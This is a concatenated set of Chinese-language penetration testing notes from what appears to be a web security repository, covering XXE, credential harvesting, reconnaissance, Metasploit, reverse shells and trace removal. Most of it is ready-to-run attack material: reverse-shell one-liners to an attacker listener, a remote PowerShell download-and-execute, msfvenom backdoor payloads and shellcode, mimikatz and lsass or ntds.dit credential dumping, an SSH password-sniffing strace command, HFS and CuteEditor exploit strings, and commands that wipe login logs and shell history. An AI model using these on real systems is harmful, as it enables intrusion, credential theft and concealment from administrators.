DTD files](https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/) 238 | - [Blind XXE详解与Google CTF一道题分析](https://www.freebuf.com/vuls/207639.html) 239 | -------------------------------------------------------------------------------- /exp/EXP-nodejs-proto.md: -------------------------------------------------------------------------------- 1 | # Javascript 原型链污染 2 | 3 | ### prototype & `__proto__` 4 | * prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法 5 | * 一个对象的__proto__属性,指向这个对象所在的类的prototype属性 6 | 7 | 所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JavaScript中的继承机制。 8 | 9 | 这篇文章[CVE-2019-11358分析](https://xz.aliyun.com/t/11272)分析对JavaScript原型链继承机制分析的很透彻。 10 | 11 | 12 | ## Ref 13 | - [CVE-2019-11358分析](https://xz.aliyun.com/t/11272) 14 | - [深入理解 JavaScript Prototype 污染攻击](https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html) 15 | -------------------------------------------------------------------------------- /images/cd4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ReAbout/web-sec/b9302182e28e02a51cb96a7708e8e4249e9fa924/images/cd4.png -------------------------------------------------------------------------------- /images/cd_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ReAbout/web-sec/b9302182e28e02a51cb96a7708e8e4249e9fa924/images/cd_1.png -------------------------------------------------------------------------------- /images/cd_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ReAbout/web-sec/b9302182e28e02a51cb96a7708e8e4249e9fa924/images/cd_2.png -------------------------------------------------------------------------------- /images/cd_3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ReAbout/web-sec/b9302182e28e02a51cb96a7708e8e4249e9fa924/images/cd_3.png -------------------------------------------------------------------------------- /images/web-arch-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ReAbout/web-sec/b9302182e28e02a51cb96a7708e8e4249e9fa924/images/web-arch-1.png -------------------------------------------------------------------------------- /images/web-arch-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ReAbout/web-sec/b9302182e28e02a51cb96a7708e8e4249e9fa924/images/web-arch-2.png -------------------------------------------------------------------------------- /images/web-arch-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ReAbout/web-sec/b9302182e28e02a51cb96a7708e8e4249e9fa924/images/web-arch-3.png -------------------------------------------------------------------------------- /images/web-arch-4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ReAbout/web-sec/b9302182e28e02a51cb96a7708e8e4249e9fa924/images/web-arch-4.png -------------------------------------------------------------------------------- /images/web-arch-5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ReAbout/web-sec/b9302182e28e02a51cb96a7708e8e4249e9fa924/images/web-arch-5.png -------------------------------------------------------------------------------- /images/web-fc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ReAbout/web-sec/b9302182e28e02a51cb96a7708e8e4249e9fa924/images/web-fc.png -------------------------------------------------------------------------------- /images/web-sec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ReAbout/web-sec/b9302182e28e02a51cb96a7708e8e4249e9fa924/images/web-sec.png -------------------------------------------------------------------------------- /images/xxe-injection.svg: -------------------------------------------------------------------------------- 1 | XXE Injection2-02<?xml version="1"?> <!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><stockCheck><productId>&xxe;</productId></stockChecksensitive dataroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/shsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/bin/shman:x:6:12:man:/var/cache/man:/bin/shlp:x:7:7:lp:/var/spool/lpd:/bin/shmail:x:8:8:mail:/var/mail:/bin/shnews:x:9:9:news:/var/spool/news:/bin/shuucp:x:10:10:uucp:/var/spool/uucp:/bin/shproxy:x:13:13:proxy:/bin:/bin/shwww-data:x:33:33:www-data:/var/www:/bin/shbackup:x:34:34:backup:/var/backups:/bin/sh -------------------------------------------------------------------------------- /images/xxe1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ReAbout/web-sec/b9302182e28e02a51cb96a7708e8e4249e9fa924/images/xxe1.png -------------------------------------------------------------------------------- /penetration/PEN-GetHash-Linux.md: -------------------------------------------------------------------------------- 1 | # Linux 认证凭证获取 2 | 3 | ## 0x01 获取明文密码 4 | 5 | ### 1. /etc/shadow中hash破解 6 | ``` 7 | root:$1$aXmGMjXX$MGrR.Hquwr7UVMwOGOzJV0::0:99999:7::: 8 | 9 | ``` 10 | 11 | 密码域密文由三部分组成,即:$idsalt$encrypted。当id=1,采用md5进行加密,弱口令容易被破解。 12 | 当id为5时,采用SHA256进行加密,id为6时,采用SHA512进行加密,可以通过john进行暴力破解。 13 | 14 | ### 2.利用Strace调试sshd进程抓登录密码 15 | strace命令 16 | ``` 17 | (strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/re/.sshd.log &) 18 | ``` 19 | 通过正则可以查询.sshd.log 密码信息: 20 | ``` 21 | grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log 22 | ``` 23 | ### 3. 替换pam.so抓取登录密码 24 | 条件比较苛刻,要适配操作系统和sshd应用版本。 25 | 26 | - [Linux PAM后门:窃取ssh密码及自定义密码登录](https://y4er.com/post/linux-backdoor-pam/) 27 | 28 | ## Ref 29 | 30 | -[Linux下登录凭证窃取技巧](https://zyazhb.github.io/2020/09/28/steal-linux/) 31 | -------------------------------------------------------------------------------- /penetration/PEN-GetHash.md: -------------------------------------------------------------------------------- 1 | # Windows Hash提取 2 | 3 | ## 0x00 基础知识 4 | 5 | - LM Hash Windows Vista和Windows Server 2008以前的系统还会使用 6 | - NTLM Hash 7 | - Net-NTLM Hash 网络环境下NTLM认证中的hash 8 | 9 | [Windows下的密码hash——NTLM hash和Net-NTLM hash介绍](https://3gstudent.github.io/Windows%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81hash-NTLM-hash%E5%92%8CNet-NTLM-hash%E4%BB%8B%E7%BB%8D) 10 | ## 0x01 离线获取Hash 11 | ### 1. 导出SAM和SYSTEM表方法 12 | #### (1)目标主机注册表导出文件 13 | ``` 14 | reg save HKLM\SYSTEM system.hive 15 | reg save HKLM\SAM sam.hive 16 | reg save hklm\security security.hive 17 | ``` 18 | #### (2)通过mimikatz导出Hash 19 | 20 | ``` 21 | $ ./mimikatz.exe 22 | 23 | .#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53 24 | .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) 25 | ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) 26 | ## \ / ## > https://blog.gentilkiwi.com/mimikatz 27 | '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) 28 | '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ 29 | 30 | mimikatz # lsadump::sam /sam:sam.hive /system:system.hive 31 | ``` 32 | ### 2. 导出lsass进程内存方法 33 | 34 | #### (1)目标主机lsass.exe dump内存 35 | 36 | - [内网渗透-免杀抓取windows hash](https://www.freebuf.com/column/231880.html)介绍了一些方法,主要是为了过杀软,如果能登录3389可以直接用任务管理器右键导出lsass.exe的内存。 37 | - 微软VStudio2022自带的dumpminitool程序也可以免杀,毕竟是微软自己的工具,找到lsass进程号,dump内存。 38 | 39 | #### (2)通过mimikatz导出Hash 40 | ``` 41 | $ ./mimikatz.exe 42 | 43 | .#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53 44 | .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) 45 | ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) 46 | ## \ / ## > https://blog.gentilkiwi.com/mimikatz 47 | '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) 48 | '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ 49 | 50 | mimikatz# sekurlsa::minidump 1.bin 51 | mimikatz# sekurlsa::loginpasswords full 52 | ``` 53 | 54 | ### 3. 导出域Hash ntds,dit 55 | ``` 56 | # 创建快照 57 | ntdsutil snapshot "activate instance ntds" create quit quit 58 | GUID 为 {aa488f5b-40c7-4044-b24f-16fd041a6de2} 59 | 60 | # 挂载快照 61 | ntdsutil snapshot "mount GUID" quit quit 62 | 63 | # 复制 ntds.dit 64 | copy C:\$SNAP_201908200435_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit 65 | 66 | # 卸载快照 67 | ntdsutil snapshot "unmount GUID" quit quit 68 | 69 | # 删除快照 70 | ntdsutil snapshot "delete GUID" quit quit 71 | 72 | # 查询快照 73 | ntdsutil snapshot "List All" quit quit 74 | ntdsutil snapshot "List Mounted" quit quit 75 | ``` 76 | ## 0x02 主机获取密码 77 | 78 | ### 获取明文密码 79 | 80 | >在 KB2871997 之前, Mimikatz 可以直接抓取明文密码。 81 | 当服务器安装 KB2871997 补丁后,系统默认禁用 Wdigest Auth ,内存(lsass进程)不再保存明文口令。Mimikatz 将读不到密码明文。 82 | 但由于一些系统服务需要用到 Wdigest Auth,所以该选项是可以手动开启的。(开启后,需要用户重新登录才能生效) 83 | 84 | 以下是支持的系统: 85 | Windows 7 86 | Windows 8 87 | Windows 8.1 88 | Windows Server 2008 89 | Windows Server 2012 90 | Windows Server 2012R 2 91 | 92 | - 原理:获取到内存文件lsass.exe进程(它用于本地安全和登陆策略)中存储的明文登录密码 93 | 利用前提:拿到了admin权限的cmd,管理员用密码登录机器,并运行了lsass.exe进程,把密码保存在内存文件lsass进程中。 94 | 抓取明文:手工修改注册表 + 强制锁屏 + 等待目标系统管理员重新登录 = 截取明文密码 95 | 96 | procdump64.exe导出lsass.dmp 97 | ``` 98 | procdump64.exe -accepteula -ma lsass.exe lsass.dmp 99 | ``` 100 | 使用本地的mimikatz.exe读取lsass.dmp 101 | ``` 102 | mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit" 103 | ``` 104 | 105 | ## 0x03 破解 Hash 106 | >超好用,可惜已经停止服务了 107 | - [Ophcrack 在线破解](https://www.objectif-securite.ch/en/ophcrack) 108 | 109 | - [Cmd5在线破解](https://www.cmd5.com/) 110 | 111 | ## Ref 112 | 113 | - https://3gstudent.github.io/Windows%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81hash-NTLM-hash%E5%92%8CNet-NTLM-hash%E4%BB%8B%E7%BB%8D 114 | - https://uknowsec.cn/posts/notes/Mimikatz%E6%98%8E%E6%96%87%E5%AF%86%E7%A0%81%E6%8A%93%E5%8F%96.html 115 | - [内网渗透-免杀抓取windows hash](https://www.freebuf.com/column/231880.html) 116 | -------------------------------------------------------------------------------- /penetration/PEN-Info.md: -------------------------------------------------------------------------------- 1 | # 渗透测试-信息收集 2 | ## 0x01 Introduction 3 | >对于互联网上的网络目标信息收集,我往往希望找到一个和目标系统在同LAN的,并容易控守的服务器,甚至就是同一台服务器的应用漏洞,所以相关度、可控守难度两个属性就至关重要了。 4 | 5 | 现阶段的信息获取方式是,首先要锁定我们的最终目标,如果目标无法攻破,通过迂回包抄的方法。一是要关注同服务器其他应用,二是依照外网IP段和子域名相近性类推相关度,一层层向外拓展,直到找到可控守的目标进行内网拓展。 6 | 7 | ## 0x02 思路 8 | 9 | 1. 快速模式,快速找到漏洞点利用突破外网,进行内网渗透。 10 | 2. 普通模式,寻寻渐进进行普遍性收集,漏洞测试,寻找最优路径突破外网,进行内网渗透。 11 | 12 | ### 快速模式 13 | 14 | 无论运用什么方式进行网络目标信息收集,我们首先就是要确定目标的网络的身份信息,也就是其域名、IP地址。 15 | 通常情况下子域名应用与终极目标相关性高,同C段IP的应用有较高的相关性,需要进行判断。 16 | 17 | 为了快速找到可攻破的目标,我们需要借助搜索引擎。 18 | 信息获取的方法遵循快速有效,所以一般先通过,Google,zoomeye等搜索引擎利用技巧,快速查找相关应用(子域名和C段IP)是否存在易控守的漏洞。 (sturts2、Jboss、fckeditor等),进行突破。 19 | #### 1.GoogleHack 20 | - 思路一:查找易获取控制权限的漏洞查找,struts(s2-016...)、editor 21 | - 思路二:找Hacked的网站,或者webshell 22 | - 思路三:配置错误,可列目录或报错信息,这样获取更权限信息。 23 | - 思路四:Admin后台。 24 | 25 | 26 | 27 | #### 案例: 28 | ##### DNN CMS 29 | 搜索规则:`inurl:Portals/0/` 30 | 31 | EXP: 32 | ``` 33 | http://[PATH]/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx 34 | 通过js调用上传功能: javascript:__doPostBack('ctlURL$cmdUpload','') 35 | 上传文件(存在asp解析漏洞):Dz4aLL.asp;me.jpg 36 | UploadRoot:Portals/0/ 37 | ``` 38 | 39 | ##### FCKEditor 40 | >搜索规则:fckeitor 41 | 42 | ##### CuteEditor 43 | >搜索规则: `inurl:CuteSoft_Client/` 44 | EXP: 45 | ``` 46 | CuteSoft_Client/CuteEditor/Load.ashx?type=image&file=../../../web.config 47 | ``` 48 | 49 | ##### HttpFileServer 50 | >搜索规则: 51 | intext:Servertime: HttpFileServer 2.3 52 | intext:服务器时间: HttpFileServer 2.3 53 | 54 | EXP: 55 | ``` 56 | http://localhost:8080/?search==%00{.exec|cmd.exe /c echo 123 > C:\1.txt.} 57 | ttp://localhost:8080/?search==%00{.load|c:\1.txt.} 58 | ``` 59 | 60 | ##### JBoss 61 | >搜索规则: 62 | inurl:status EJBInvokerServlet 63 | intitle:"tomcat status" 64 | inurl:jmx-console 65 | /invoker/JMXInvokerServlet 66 | status?full=true 67 | intitle:"tomcat status" intext:"jbossupdate" (webinfo console jsp_info.jsp log_info.jsp) 68 | /invoker/JMXInvokerServlet 69 | jmx-console 70 | web-console 71 | 72 | 73 | ##### 列目录 74 | >搜索规则: 75 | intext:转到父目录 76 | intitle:index of / 77 | 78 | ##### 搜索别人的shell 79 | >搜索规则: 80 | intitle:Phantom Hackers.PH intext:password filetype:php 81 | 82 | #### 2.Zoomeye 83 | 类似的互联网资产搜索引擎还有:fofa.so,shodan.io等。 84 | 要学会几个关键词的使用,icdr、country、app等 85 | 86 | ## 普通模式 87 | 锁定目标的网络位置(域名、IP地址),我就要开始逐渐拓展相关目标范围,并进行深度有效的信息收集。 88 | ### (1)拓展网络目标范围 89 | 以点拓面 90 | 1. 同服务器其它Web应用 91 | 2. 主页链接网站 92 | 3. 子域名(2、3...级) 93 | 4. C段主机(或已知目标的IP段) 94 | 5. 移动App分析获取服务器地址 95 | ### (2)获取基本信息 96 | 1. 位置信息(IP地址、域名) 97 | 2. 扫描开放端口、服务及版本 98 | ### (3)深度挖掘信息 99 | 1. 识别设备类型 100 | 2. 识别操作系统 101 | 3. 识别Web容器 102 | 4. 识别Web应用(CMS)、组件及其版本 103 | ### (4)漏洞测试 104 | 1. 已知漏洞测试 105 | - Web 106 | - Databse(Mysql、SQLserver) 107 | - 远程管理(SSH、RDP) 108 | 2. 常见漏洞测试(主要是Web方向) 109 | - 弱口令(常见的默认密码) 110 | - SQLinject 111 | - 文件包含 112 | - 文件上传过滤不严格 113 | - 模板注入 114 | - 模板管理 115 | -------------------------------------------------------------------------------- /penetration/PEN-Linux-LPE.md: -------------------------------------------------------------------------------- 1 | # Linux经典漏洞提权总结 2 | -------------------------------------------------------------------------------- /penetration/PEN-LinuxClear.md: -------------------------------------------------------------------------------- 1 | # Linux 痕迹清理 2 | 3 | ## 0x01 ssh登录日志 4 | 5 | ### 日志文件位置及命令 6 | | 命令 | 日志文件 | 功能 | 7 | | ---- | ---- |---- | 8 | |w,who|/var/run/utmp|记录当前正在登录系统的用户信息,uptime记录系统启动时间| 9 | | last | /var/log/wtmp | 所有成功登录/登出的历史记录 | 10 | | lastb | /var/log/btmp | 登录失败尝试 | 11 | | lastlog | /var/log/lastlog | 最近登录记录 | 12 | 13 | 这些日志都是以二进制形式存储。 14 | 15 | ### 清除方法 16 | 方案1,直接清空: 17 | ``` 18 | # > /var/log/utmp 19 | # > /var/log/wtmp 20 | # > /var/log/btmp 21 | # > /var/log/lastlog 22 | ``` 23 | 方案2,使用脚本: 24 | 25 | - [logtamper.py](./logtamper.py) 26 | ``` 27 | 躲避管理员w查看(w) 28 | python logtamper.py -m 1 -u root -i 192.168.0.188 29 | 30 | 清除指定ip的登录日志(lastb) 31 | python logtamper.py -m 2 -u root -i 192.168.0.188 32 | 33 | 修改上次登录时间地点(lastlog) 34 | python logtamper.py -m 3 -u root -i 192.168.0.188 -t tty1 -d 2014:05:28:10:11:12 35 | ``` 36 | ### 不记录history 37 | ``` 38 | unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG 39 | export HISTFILE=/dev/null 40 | export HISTSIZE=0 41 | export HISTFILESIZE=0 42 | ``` 43 | -------------------------------------------------------------------------------- /penetration/PEN-MSF.md: -------------------------------------------------------------------------------- 1 | # Meterpreter of Metasploit教程 2 | 3 | ## 0x01 Backdoor生成 4 | 使用MSF套件中msfvenom进行后门载荷的生成 5 | ### Meterpreter of Python 6 | 7 | >-p 选择payload 8 | >lport 监听端口 9 | >-o 载荷生成位置 10 | ``` 11 | msfvenom -p python/meterpreter/bind_tcp lport=6666 -o /tmp/re111 12 | ``` 13 | 生成python文件如下: 14 | ``` 15 | exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHpsaWIsYmFzZTY0LHNvY2tldCxzdHJ1Y3QKYj1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQpiLmJpbmQoKCcwLjAuMC4wJyw4ODg4KSkKYi5saXN0ZW4oMSkKcyxhPWIuYWNjZXB0KCkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyh6bGliLmRlY29tcHJlc3MoYmFzZTY0LmI2NGRlY29kZShkKSkseydzJzpzfSkK')[0])) 16 | ``` 17 | 18 | ### Meterpreter of Linux X64 19 | 反弹Shell 20 | >LHOST(我方接收主机IP)192.168.1.1 21 | >LPORT(我方接收监听端口) 8888 22 | ``` 23 | msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f elf > re111.elf 24 | ``` 25 | ### Shellcode of Linux mipsle 26 | 27 | ``` 28 | msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=192.168.1.1 LPORT=8888 --arch mipsle --platform linux -f py -o re111.py 29 | ``` 30 | 31 | ``` 32 | buf = b"" 33 | buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd" 34 | buf += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01" 35 | buf += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f" 36 | buf += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\xb8\x0e\x3c" 37 | buf += b"\x22\xb8\xce\x35\xe4\xff\xae\xaf\x01\x64\x0e\x3c\xc0" 38 | buf += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff" 39 | buf += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01" 40 | buf += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f" 41 | buf += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff" 42 | buf += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff" 43 | buf += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf" 44 | buf += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf" 45 | buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc" 46 | buf += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01" 47 | buf += b"\x01\x01" 48 | ``` 49 | ## 0x02 漏洞利用(Exploit) 50 | 使用MSF套件中msfconsole,启动 51 | ``` 52 | msfconsole 53 | ``` 54 | ### 通用的Backdoor会话管理模块 55 | 56 | ``` 57 | msf6> use exploit/multi/handler 58 | #设置payload 59 | msf6 exploit(multi/handler) > set payload python/meterpreter/bind_tcp 60 | #设置RHOST(目标地址) 61 | msf6 exploit(multi/handler) > set RHOST 127.0.0.1 62 | RHOST => 127.0.0.1 63 | #设置LPORT(目标后门服务监听端口) 64 | msf6 exploit(multi/handler) > set LPORT 8888 65 | LPORT => 8888 66 | #执行 67 | msf6 exploit(multi/handler) > run 68 | 69 | [*] Started bind TCP handler against 127.0.0.1:8888 70 | [*] Sending stage (39800 bytes) to 127.0.0.1 71 | [*] Meterpreter session 3 opened (127.0.0.1:7812 -> 127.0.0.1:8888 ) at 2022-02-16 11:26:51 +0800 72 | 73 | meterpreter > 74 | ``` 75 | ## 0x03 Meterpreter使用 76 | 77 | ### 基本命令 78 | ``` 79 | background # 将当前会话放置后台 80 | sessions # sessions –h 查看帮助 81 | sessions -i #进入会话 -k 杀死会话 82 | bgrun / run # 执行已有的模块,输入run后按两下tab,列出已有的脚本 83 | info # 查看已有模块信息 84 | getuid # 查看当前用户身份 85 | getprivs # 查看当前用户具备的权限 86 | getpid # 获取当前进程ID(PID) 87 | sysinfo # 查看目标机系统信息 88 | irb # 开启ruby终端 89 | ps # 查看正在运行的进程 90 | kill # 杀死指定PID进程 91 | idletime # 查看目标机闲置时间 92 | reboot / shutdown # 重启/关机 93 | shell # 进入目标机cmd shell 94 | ``` 95 | 96 | ### 文件操作 97 | upload 98 | ``` 99 | Usage: upload [options] src1 src2 src3 ... destination 100 | -r Upload recursively 101 | ``` 102 | downlaod 103 | ``` 104 | Usage: download [options] src1 src2 src3 ... destination 105 | 106 | -a Enable adaptive download buffer size 107 | -b Set the initial block size for the download 108 | -c Resume getting a partially-downloaded file 109 | -h Help banner 110 | -l Set the limit of retries (0 unlimits) 111 | -r Download recursively 112 | -t Timestamp downloaded files 113 | ``` 114 | 115 | ### 端口转发 116 | ``` 117 | portfwd add -l 7777 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地7777端口 118 | ``` 119 | 120 | ### 添加路由 121 | ``` 122 | run autoroute -h # 查看帮助 123 | run get_local_subnets # 查看目标内网网段地址 124 | run autoroute -s 192.168.183.0/24 # 添加目标网段路由 125 | run autoroute -p # 查看添加的路由 126 | ``` 127 | 128 | ## Ref 129 | - https://xz.aliyun.com/t/6400 130 | -------------------------------------------------------------------------------- /penetration/PEN-Openwrt.md: -------------------------------------------------------------------------------- 1 | # 全局代理[VMware]:Openwrt on VMware网关方案 2 | 3 | ## 0x01 Install 4 | 5 | ### 1. 下载固件: 6 | 7 | 推荐 https://github.com/DHDAXCW/OpenWRT_x86_x64 8 | 9 | ### 2. img转vmdk 10 | qemu-img 11 | ``` 12 | qemu-img convert -f raw openwrt.img -O vmdk openwrt.vmdk 13 | ``` 14 | 15 | ### 3. VM安装openwrt 16 | 17 | vmdk方式虚拟机添加 18 | 19 | ### 4. 配置openwrt 20 | 21 | 配置网卡: 22 | - 正常需要2个网卡,如果缺少,通过虚拟机添加网络适配器(网卡) 23 | - 一个NAT模式(eth0),一个主机网络模式(eth1) 24 | - openwrt 可以通过`ifconfig eth1 up`启动 25 | 26 | 配置网络: 27 | 配置wan口和lan口 `vim /etc/config/network` 28 | >注意192.168.111.3根据主机网络模式的网段配置 29 | ``` 30 | config interface 'lan' 31 | option type 'bridge' 32 | option ifname 'eth1' 33 | option proto 'static' 34 | option ipaddr '192.168.111.3' 35 | option netmask '255.255.255.0' 36 | option ip5assign '60' 37 | config interface 'wan' 38 | option ifname 'eth0' 39 | option proto 'dhcp' 40 | ``` 41 | ### 5. 配置其他虚拟机使用OpenWrt来提供网络服务 42 | 43 | >其他虚拟机需要通过OpenWrt虚拟机上网时只需要将网卡修改为VMnet1仅主机网络并使用DHCP方式。 44 | 45 | 需要添加默认网关: 46 | - Linux: `route add default gw 192.168.111.3` 47 | - Windows: 高级网络设置修改网关修改即可 48 | 49 | ### 6. 配置宿主机通过OpenWrt上网 50 | 51 | [VMware安装OpenWrt虚拟机让宿主机上网](https://blog.yqxpro.com/2019/10/04/VMware%E5%AE%89%E8%A3%85OpenWrt%E8%99%9A%E6%8B%9F%E6%9C%BA%E8%AE%A9%E5%AE%BF%E4%B8%BB%E6%9C%BA%E4%B8%8A%E7%BD%91/)有图文介绍 52 | 53 | ## 0x02 Start 54 | 55 | - VPS安装:v2ray一键脚本: bash <(curl -sL https://s.hijk.art/xray.sh) 56 | 57 | - Openwrt插件推荐使用 Passwall,注意要配置全局tcp,udp以及dns 58 | 59 | - 客户端检测:可以通过该网站检测IP和DNS https://whoer.net/ 60 | 61 | >PS:DNS如果存在泄漏问题:Windows需要通过 `ipconfig /flushdns`刷新下 62 | 63 | ## Ref 64 | - [VMware安装OpenWrt虚拟机让宿主机上网](https://blog.yqxpro.com/2019/10/04/VMware%E5%AE%89%E8%A3%85OpenWrt%E8%99%9A%E6%8B%9F%E6%9C%BA%E8%AE%A9%E5%AE%BF%E4%B8%BB%E6%9C%BA%E4%B8%8A%E7%BD%91/) 65 | -------------------------------------------------------------------------------- /penetration/PEN-ReShell.md: -------------------------------------------------------------------------------- 1 | # 反弹/正向 Shell & 升级交互式Shell (Linux&Win) 2 | 3 | ## 0x01 反弹shell 4 | 5 | ### 1. Linux 6 | 7 | 等待反弹的shell会话主机:192.168.1.1:7777 8 | #### bash 9 | 10 | ``` 11 | /bin/bash -i >& /dev/tcp/192.168.1.1/7777 0>&1 12 | ``` 13 | #### nc 14 | ``` 15 | nc -e /bin/bash 192.168.1.1 7777 16 | ``` 17 | #### python 18 | 新建python脚本执行 19 | 或者通过python -c '' 20 | ``` 21 | import os;os.system("bash -c 'bash -i >& /dev/tcp/192.168.1.1/7777 0>&1'") 22 | ``` 23 | ``` 24 | import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.1",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]); 25 | ``` 26 | 27 | ### 2. Windows 28 | #### powercat 29 | https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1 30 | ``` 31 | powershell -nop -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.1.1 -p 9999 -e cmd.exe" 32 | ``` 33 | ## 0x02 正向shell 34 | 35 | ### 1. python on windows 36 | >监听在7777端口,可以通过nc连接 37 | ```python 38 | from socket import * 39 | import subprocess 40 | import os, threading 41 | 42 | def send(talk, proc): 43 | import time 44 | while True: 45 | msg = proc.stdout.readline() 46 | talk.send(msg) 47 | 48 | if __name__ == "__main__": 49 | server=socket(AF_INET,SOCK_STREAM) 50 | server.bind(('0.0.0.0',7777)) 51 | server.listen(5) 52 | print 'waiting for connect' 53 | talk, addr = server.accept() 54 | print 'connect from',addr 55 | proc = subprocess.Popen('cmd.exe /K', stdin=subprocess.PIPE, 56 | stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) 57 | t = threading.Thread(target = send, args = (talk, proc)) 58 | t.setDaemon(True) 59 | t.start() 60 | while True: 61 | cmd=talk.recv(1024) 62 | proc.stdin.write(cmd) 63 | proc.stdin.flush() 64 | server.close() 65 | ``` 66 | ### 2. python on linux 67 | >监听在7777端口,可以通过nc连接 68 | ```python 69 | from socket import * 70 | import subprocess 71 | import os, threading, sys, time 72 | 73 | if __name__ == "__main__": 74 | server=socket(AF_INET,SOCK_STREAM) 75 | server.bind(('0.0.0.0',7777)) 76 | server.listen(5) 77 | print 'waiting for connect' 78 | talk, addr = server.accept() 79 | print 'connect from',addr 80 | proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk, 81 | stdout=talk, stderr=talk, shell=True) 82 | ``` 83 | 84 | ## 0x03 提升shell交互能力 85 | 86 | ### 1. Linux 87 | #### python 88 | 它可以执行命令su,以为他们是在一个合适的终端执行。要升级一个shell,只需运行以下命令: 89 | ``` 90 | python -c 'import pty; pty.spawn("/bin/bash")' 91 | 92 | ``` 93 | #### socat(反弹交互式shell) 94 | 本机监听(192.168.0.1): 95 | ``` 96 | socat file:`tty`,raw,echo=0 tcp-listen:8888 97 | ``` 98 | 目标主机: 99 | ``` 100 | socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.0.1:8888 101 | ``` 102 | 如果没有安装socat。有独立的二进制文件可以从这个Github下载:https://github.com/andrew-d/static-binaries 103 | 104 | ## Ref 105 | - [将简单的shell升级为完全交互式的TTY](https://www.4hou.com/posts/mQ7R) 106 | - [python正向连接后门](https://www.leavesongs.com/PYTHON/python-shell-backdoor.html) 107 | -------------------------------------------------------------------------------- /penetration/PEN-Reuse.md: -------------------------------------------------------------------------------- 1 | # Iptables 端口复用方法 2 | 3 | ## 0x01 端口复用 4 | 5 | 依照源地址区分,让源地址为192.168.10.13访问80端口的流量转发到本地的22端口服务。 6 | ``` 7 | iptables -t nat -A PREROUTING -p tcp -s 192.168.10.13 --dport 80 -j REDIRECT --to-port 22 8 | ``` 9 | 查看nat表规则是否生效 10 | ``` 11 | iptables -t nat -nL 12 | 13 | ``` 14 | ## Ref 15 | - 